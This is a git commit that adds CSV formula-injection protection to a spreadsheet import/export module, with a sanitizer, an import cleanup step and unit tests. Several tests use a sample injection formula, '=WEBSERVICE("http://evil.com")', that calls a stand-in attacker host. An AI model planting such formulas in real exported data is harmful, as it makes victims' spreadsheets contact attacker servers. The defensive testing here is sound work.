Prevent csv export injections (#14347)

**Small Security Issue:** CSV exports were vulnerable to formula
injection attacks when users entered values starting with =, +, -, or @.
(only happens if a logged-in user injects corrupted data)

Solution:
- Added ZWJ (Zero-Width Joiner) protection that prefixes dangerous
values with invisible Unicode character
- This is the best way to preserve original data while preventing Excel
from executing formulas
- Added import cleanup to restore original values when re-importing
 
Changes:
- New sanitizeValueForCSVExport() function for security
- Updated all CSV export paths to use both security + formatting
functions
- Added comprehensive tests covering attack vectors and international
characters
- Also added cursor rules for better code consistency

---------

Co-authored-by: Charles Bochet <charlesBochet@users.noreply.github.com>
This commit is contained in:
Félix Malfait
2025-09-08 17:57:46 +02:00
committed by GitHub
parent 374b5dce66
commit cebcf4f1f5
293 changed files with 1847 additions and 1399 deletions
@@ -0,0 +1,391 @@
import { CSV_DANGEROUS_CHARACTERS } from '@/spreadsheet-import/constants/CsvDangerousCharacters';
import { CSV_INJECTION_PREVENTION_ZWJ } from '@/spreadsheet-import/constants/CsvInjectionPreventionZwj';
import { cleanZWJFromImportedValue } from '../cleanZWJFromImportedValue';
import { containsCSVProtectionZWJ } from '../containsCSVProtectionZWJ';
import { sanitizeValueForCSVExport } from '../sanitizeValueForCSVExport';
describe('csvSecurity', () => {
describe('CSV_DANGEROUS_CHARACTERS regex', () => {
it('should match dangerous characters at the start of strings', () => {
expect(CSV_DANGEROUS_CHARACTERS.test('=formula')).toBe(true);
expect(CSV_DANGEROUS_CHARACTERS.test('+calculation')).toBe(true);
expect(CSV_DANGEROUS_CHARACTERS.test('-negative')).toBe(true);
expect(CSV_DANGEROUS_CHARACTERS.test('@reference')).toBe(true);
expect(CSV_DANGEROUS_CHARACTERS.test('\ttab')).toBe(true);
expect(CSV_DANGEROUS_CHARACTERS.test('\rcarriage')).toBe(true);
});
it('should not match safe strings', () => {
expect(CSV_DANGEROUS_CHARACTERS.test('normal text')).toBe(false);
expect(CSV_DANGEROUS_CHARACTERS.test('text with = in middle')).toBe(
false,
);
expect(CSV_DANGEROUS_CHARACTERS.test('text with + in middle')).toBe(
false,
);
expect(CSV_DANGEROUS_CHARACTERS.test('')).toBe(false);
});
});
describe('sanitizeValueForCSVExport', () => {
it('should prefix dangerous formulas with ZWJ', () => {
const result = sanitizeValueForCSVExport(
'=WEBSERVICE("http://evil.com")',
);
expect(result).toBe(
`${CSV_INJECTION_PREVENTION_ZWJ}=WEBSERVICE("http://evil.com")`,
);
});
it('should prefix dangerous calculations with ZWJ', () => {
expect(sanitizeValueForCSVExport('+1+1')).toBe(
`${CSV_INJECTION_PREVENTION_ZWJ}+1+1`,
);
expect(sanitizeValueForCSVExport('-1+1')).toBe(
`${CSV_INJECTION_PREVENTION_ZWJ}-1+1`,
);
});
it('should prefix dangerous references with ZWJ', () => {
expect(sanitizeValueForCSVExport('@SUM(1,1)')).toBe(
`${CSV_INJECTION_PREVENTION_ZWJ}@SUM(1,1)`,
);
});
it('should prefix dangerous control characters with ZWJ', () => {
expect(sanitizeValueForCSVExport('\t=FORMULA()')).toBe(
`${CSV_INJECTION_PREVENTION_ZWJ}\t=FORMULA()`,
);
expect(sanitizeValueForCSVExport('\r=FORMULA()')).toBe(
`${CSV_INJECTION_PREVENTION_ZWJ}\r=FORMULA()`,
);
});
it('should preserve legitimate phone numbers with ZWJ', () => {
const phoneNumber = '+1-555-123-4567';
const result = sanitizeValueForCSVExport(phoneNumber);
expect(result).toBe(`${CSV_INJECTION_PREVENTION_ZWJ}+1-555-123-4567`);
// Should be visually identical to user
expect(result.substring(1)).toBe(phoneNumber);
});
it('should not modify safe strings', () => {
expect(sanitizeValueForCSVExport('John Doe')).toBe('John Doe');
expect(sanitizeValueForCSVExport('john@example.com')).toBe(
'john@example.com',
);
expect(sanitizeValueForCSVExport('Text with = in middle')).toBe(
'Text with = in middle',
);
expect(sanitizeValueForCSVExport('Text with + in middle')).toBe(
'Text with + in middle',
);
});
it('should handle null and undefined values', () => {
expect(sanitizeValueForCSVExport(null)).toBe('');
expect(sanitizeValueForCSVExport(undefined)).toBe('');
});
it('should convert non-string values to strings', () => {
expect(sanitizeValueForCSVExport(123)).toBe('123');
expect(sanitizeValueForCSVExport(true)).toBe('true');
expect(sanitizeValueForCSVExport(false)).toBe('false');
});
it('should handle edge cases', () => {
expect(sanitizeValueForCSVExport('')).toBe('');
expect(sanitizeValueForCSVExport('=')).toBe(
`${CSV_INJECTION_PREVENTION_ZWJ}=`,
);
expect(sanitizeValueForCSVExport('+')).toBe(
`${CSV_INJECTION_PREVENTION_ZWJ}+`,
);
});
});
describe('cleanZWJFromImportedValue', () => {
it('should remove ZWJ prefix from sanitized values', () => {
const sanitized = `${CSV_INJECTION_PREVENTION_ZWJ}=WEBSERVICE("http://evil.com")`;
const cleaned = cleanZWJFromImportedValue(sanitized);
expect(cleaned).toBe('=WEBSERVICE("http://evil.com")');
});
it('should restore original phone numbers', () => {
const sanitized = `${CSV_INJECTION_PREVENTION_ZWJ}+1-555-123-4567`;
const cleaned = cleanZWJFromImportedValue(sanitized);
expect(cleaned).toBe('+1-555-123-4567');
});
it('should not modify values without ZWJ prefix', () => {
expect(cleanZWJFromImportedValue('John Doe')).toBe('John Doe');
expect(cleanZWJFromImportedValue('john@example.com')).toBe(
'john@example.com',
);
expect(cleanZWJFromImportedValue('Normal text')).toBe('Normal text');
});
it('should handle non-string values gracefully', () => {
expect(cleanZWJFromImportedValue(123 as any)).toBe(123);
expect(cleanZWJFromImportedValue(null as any)).toBe(null);
expect(cleanZWJFromImportedValue(undefined as any)).toBe(undefined);
});
it('should handle empty strings', () => {
expect(cleanZWJFromImportedValue('')).toBe('');
expect(cleanZWJFromImportedValue(CSV_INJECTION_PREVENTION_ZWJ)).toBe('');
});
});
describe('containsCSVProtectionZWJ', () => {
it('should detect ZWJ in sanitized values', () => {
const sanitized = `${CSV_INJECTION_PREVENTION_ZWJ}=FORMULA()`;
expect(containsCSVProtectionZWJ(sanitized)).toBe(true);
});
it('should detect ZWJ anywhere in the string', () => {
const text = `Some text ${CSV_INJECTION_PREVENTION_ZWJ} with ZWJ in middle`;
expect(containsCSVProtectionZWJ(text)).toBe(true);
});
it('should return false for strings without ZWJ', () => {
expect(containsCSVProtectionZWJ('Normal text')).toBe(false);
expect(containsCSVProtectionZWJ('=FORMULA()')).toBe(false);
expect(containsCSVProtectionZWJ('')).toBe(false);
});
it('should handle non-string values gracefully', () => {
expect(containsCSVProtectionZWJ(123 as any)).toBe(false);
expect(containsCSVProtectionZWJ(null as any)).toBe(false);
expect(containsCSVProtectionZWJ(undefined as any)).toBe(false);
});
});
describe('roundtrip compatibility', () => {
it('should preserve data through export/import cycle', () => {
const originalValues = [
'=WEBSERVICE("http://evil.com")',
'+1-555-123-4567',
'-$5,000 adjustment',
'@mention',
'\t=FORMULA()',
'Normal text',
'Text with = in middle',
];
originalValues.forEach((original) => {
const sanitized = sanitizeValueForCSVExport(original);
const restored = cleanZWJFromImportedValue(sanitized);
expect(restored).toBe(original);
});
});
it('should maintain visual appearance for users', () => {
const phoneNumber = '+1-555-123-4567';
const sanitized = sanitizeValueForCSVExport(phoneNumber);
// The sanitized version should look identical to users
// (ZWJ is invisible in most contexts)
expect(sanitized).toContain(phoneNumber);
expect(sanitized.length).toBe(phoneNumber.length + 1); // +1 for ZWJ
});
});
describe('international character compatibility', () => {
it('should not interfere with Japanese characters', () => {
const japaneseTexts = [
'こんにちは', // "Hello" in Japanese
'田中太郎', // Japanese name
'東京都渋谷区', // Tokyo address
'株式会社', // Corporation
'ひらがな カタカナ 漢字', // Mixed Japanese scripts
'2024年12月', // Date in Japanese
'価格:¥1,000', // Price in yen
];
japaneseTexts.forEach((text) => {
const sanitized = sanitizeValueForCSVExport(text);
// Should remain unchanged (no dangerous characters at start)
expect(sanitized).toBe(text);
expect(containsCSVProtectionZWJ(sanitized)).toBe(false);
});
});
it('should not interfere with Chinese characters', () => {
const chineseTexts = [
'你好世界', // "Hello World" in Chinese
'北京市朝阳区', // Beijing address
'有限公司', // Limited company
'2024年12月31日', // Date in Chinese
'价格:¥100.00', // Price in yuan
];
chineseTexts.forEach((text) => {
const sanitized = sanitizeValueForCSVExport(text);
expect(sanitized).toBe(text);
expect(containsCSVProtectionZWJ(sanitized)).toBe(false);
});
});
it('should not interfere with Korean characters', () => {
const koreanTexts = [
'안녕하세요', // "Hello" in Korean
'서울특별시 강남구', // Seoul address
'주식회사', // Corporation
'김철수', // Korean name
'가격: ₩10,000', // Price in won
];
koreanTexts.forEach((text) => {
const sanitized = sanitizeValueForCSVExport(text);
expect(sanitized).toBe(text);
expect(containsCSVProtectionZWJ(sanitized)).toBe(false);
});
});
it('should not interfere with Arabic characters', () => {
const arabicTexts = [
'مرحبا بالعالم', // "Hello World" in Arabic
'شركة محدودة المسؤولية', // Limited liability company
'الرياض، المملكة العربية السعودية', // Riyadh, Saudi Arabia
'السعر: 100 ريال', // Price in riyal
];
arabicTexts.forEach((text) => {
const sanitized = sanitizeValueForCSVExport(text);
expect(sanitized).toBe(text);
expect(containsCSVProtectionZWJ(sanitized)).toBe(false);
});
});
it('should not interfere with European accented characters', () => {
const europeanTexts = [
'Café München', // German with umlauts
'José María García', // Spanish with accents
'François Müller', // French with cedilla
'Åse Øberg', // Scandinavian characters
'Zürich, Schweiz', // Swiss German
'Москва, Россия', // Russian Cyrillic
];
europeanTexts.forEach((text) => {
const sanitized = sanitizeValueForCSVExport(text);
expect(sanitized).toBe(text);
expect(containsCSVProtectionZWJ(sanitized)).toBe(false);
});
});
it('should handle international text with dangerous characters at start', () => {
const mixedTexts = [
'+81-3-1234-5678 (Tokyo office)', // Japanese phone with country code
'=SUM(売上高)', // Formula with Japanese text
'@田中さん こんにちは', // Mention with Japanese name
'-€50.00 (European discount)', // Negative amount in euros
'+33% 增长率', // Percentage with Chinese
];
mixedTexts.forEach((text) => {
const sanitized = sanitizeValueForCSVExport(text);
const restored = cleanZWJFromImportedValue(sanitized);
// Should be sanitized (starts with dangerous character)
expect(sanitized).toBe(CSV_INJECTION_PREVENTION_ZWJ + text);
expect(containsCSVProtectionZWJ(sanitized)).toBe(true);
// Should restore perfectly
expect(restored).toBe(text);
});
});
it('should not add ZWJ to legitimate Unicode combining characters', () => {
const unicodeTexts = [
'é', // e with acute accent (U+00E9)
'e\u0301', // e + combining acute accent
'नमस्ते', // Hindi greeting
'مرحبا', // Arabic greeting
'🇯🇵', // Japanese flag emoji (regional indicators)
'👨‍👩‍👧‍👦', // Family emoji with ZWJ sequences
];
unicodeTexts.forEach((text) => {
const sanitized = sanitizeValueForCSVExport(text);
// Should remain unchanged (no dangerous ASCII characters at start)
expect(sanitized).toBe(text);
// Should not add our protection ZWJ (unless already present in emoji sequences)
if (!text.includes('\u200D')) {
expect(containsCSVProtectionZWJ(sanitized)).toBe(false);
}
});
});
});
describe('CSV import integration', () => {
it('should work with the mapWorkbook import process', () => {
// Simulate data that would come from a CSV export with ZWJ protection
const exportedData = [
['Name', 'Formula', 'Phone'],
[
'John Doe',
`${CSV_INJECTION_PREVENTION_ZWJ}=WEBSERVICE("http://evil.com")`,
`${CSV_INJECTION_PREVENTION_ZWJ}+1-555-123-4567`,
],
['Jane Smith', 'Normal text', '+44-20-1234-5678'],
];
// Simulate the import cleanup process
const cleanedData = exportedData.map((row) =>
row.map((cell) =>
typeof cell === 'string' ? cleanZWJFromImportedValue(cell) : cell,
),
);
// Verify the data is properly restored
expect(cleanedData).toEqual([
['Name', 'Formula', 'Phone'],
['John Doe', '=WEBSERVICE("http://evil.com")', '+1-555-123-4567'],
['Jane Smith', 'Normal text', '+44-20-1234-5678'],
]);
});
it('should handle mixed data types during import', () => {
const mixedData = [
['Text', 'Number', 'Boolean', 'Null'],
[`${CSV_INJECTION_PREVENTION_ZWJ}=FORMULA()`, 123, true, null],
['Normal text', 456, false, undefined],
];
const cleanedData = mixedData.map((row) =>
row.map((cell) =>
typeof cell === 'string' ? cleanZWJFromImportedValue(cell) : cell,
),
);
expect(cleanedData).toEqual([
['Text', 'Number', 'Boolean', 'Null'],
['=FORMULA()', 123, true, null],
['Normal text', 456, false, undefined],
]);
});
it('should preserve international characters during import roundtrip', () => {
const internationalData = [
['Japanese', 'Chinese', 'Arabic'],
['こんにちは', '你好', 'مرحبا'],
[`${CSV_INJECTION_PREVENTION_ZWJ}+81-3-1234-5678`, '北京市', 'الرياض'],
];
const cleanedData = internationalData.map((row) =>
row.map((cell) =>
typeof cell === 'string' ? cleanZWJFromImportedValue(cell) : cell,
),
);
expect(cleanedData).toEqual([
['Japanese', 'Chinese', 'Arabic'],
['こんにちは', '你好', 'مرحبا'],
['+81-3-1234-5678', '北京市', 'الرياض'],
]);
});
});
});
@@ -1,24 +0,0 @@
import { escapeCSVValue } from '@/spreadsheet-import/utils/escapeCSVValue';
describe('escapeCSVValue', () => {
it('should escape values with commas, quotes, newlines and carriage returns', () => {
expect(escapeCSVValue('test,test')).toBe('"test,test"');
});
it('should escape array or JSON values', () => {
expect(escapeCSVValue(['test', 'test'])).toBe('"[""test"",""test""]"');
expect(escapeCSVValue({ test: 'test' })).toBe('"{""test"":""test""}"');
});
it('should escape null values', () => {
expect(escapeCSVValue(null)).toBe('');
});
it('should escape simple string value', () => {
expect(escapeCSVValue('test')).toBe('test');
});
it('should escape simple number value', () => {
expect(escapeCSVValue(1)).toBe('1');
});
});
@@ -0,0 +1,24 @@
import { formatValueForCSV } from '@/spreadsheet-import/utils/formatValueForCSV';
describe('formatValueForCSV', () => {
it('should format values with commas, quotes, newlines and carriage returns', () => {
expect(formatValueForCSV('test,test')).toBe('"test,test"');
});
it('should format array or JSON values', () => {
expect(formatValueForCSV(['test', 'test'])).toBe('"[""test"",""test""]"');
expect(formatValueForCSV({ test: 'test' })).toBe('"{""test"":""test""}"');
});
it('should format null values', () => {
expect(formatValueForCSV(null)).toBe('');
});
it('should format simple string value', () => {
expect(formatValueForCSV('test')).toBe('test');
});
it('should format simple number value', () => {
expect(formatValueForCSV(1)).toBe('1');
});
});
@@ -0,0 +1,11 @@
import { CSV_INJECTION_PREVENTION_ZWJ } from '@/spreadsheet-import/constants/CsvInjectionPreventionZwj';
export const cleanZWJFromImportedValue = (value: string): string => {
if (typeof value !== 'string') return value;
if (value.startsWith(CSV_INJECTION_PREVENTION_ZWJ)) {
return value.substring(1);
}
return value;
};
@@ -0,0 +1,7 @@
import { CSV_INJECTION_PREVENTION_ZWJ } from '@/spreadsheet-import/constants/CsvInjectionPreventionZwj';
export const containsCSVProtectionZWJ = (value: string): boolean => {
return (
typeof value === 'string' && value.includes(CSV_INJECTION_PREVENTION_ZWJ)
);
};
@@ -0,0 +1,14 @@
import { CSV_DANGEROUS_CHARACTERS } from '@/spreadsheet-import/constants/CsvDangerousCharacters';
import { CSV_INJECTION_PREVENTION_ZWJ } from '@/spreadsheet-import/constants/CsvInjectionPreventionZwj';
export const sanitizeValueForCSVExport = (value: any): string => {
if (value == null) return '';
const stringValue = typeof value === 'string' ? value : String(value);
if (CSV_DANGEROUS_CHARACTERS.test(stringValue)) {
return CSV_INJECTION_PREVENTION_ZWJ + stringValue;
}
return stringValue;
};
@@ -1,6 +1,9 @@
import { isString } from '@sniptt/guards';
export const escapeCSVValue = (value: any) => {
// Formats values for CSV output by wrapping in quotes when needed and escaping internal quotes.
// This handles CSV formatting requirements (commas, quotes, newlines) but NOT security issues.
// For security (CSV injection prevention), use sanitizeValueForCSVExport() BEFORE this function.
export const formatValueForCSV = (value: any) => {
if (value == null) return '';
const stringValue = isString(value) ? value : JSON.stringify(value);
@@ -1,3 +1,4 @@
import { cleanZWJFromImportedValue } from '@/spreadsheet-import/utils/cleanZWJFromImportedValue';
import { utils, type WorkBook } from 'xlsx-ugnis';
export const mapWorkbook = (workbook: WorkBook, sheetName?: string) => {
@@ -7,5 +8,14 @@ export const mapWorkbook = (workbook: WorkBook, sheetName?: string) => {
blankrows: false,
raw: false,
});
return data as string[][];
// Clean ZWJ characters from imported CSV data to restore original values
// This reverses the ZWJ protection applied during export
const cleanedData = (data as string[][]).map((row) =>
row.map((cell) =>
typeof cell === 'string' ? cleanZWJFromImportedValue(cell) : cell,
),
);
return cleanedData;
};
@@ -0,0 +1,14 @@
import { CSV_DANGEROUS_CHARACTERS } from '@/spreadsheet-import/constants/CsvDangerousCharacters';
import { CSV_INJECTION_PREVENTION_ZWJ } from '@/spreadsheet-import/constants/CsvInjectionPreventionZwj';
export const sanitizeValueForCSVExport = (value: any): string => {
if (value == null) return '';
const stringValue = typeof value === 'string' ? value : String(value);
if (CSV_DANGEROUS_CHARACTERS.test(stringValue)) {
return CSV_INJECTION_PREVENTION_ZWJ + stringValue;
}
return stringValue;
};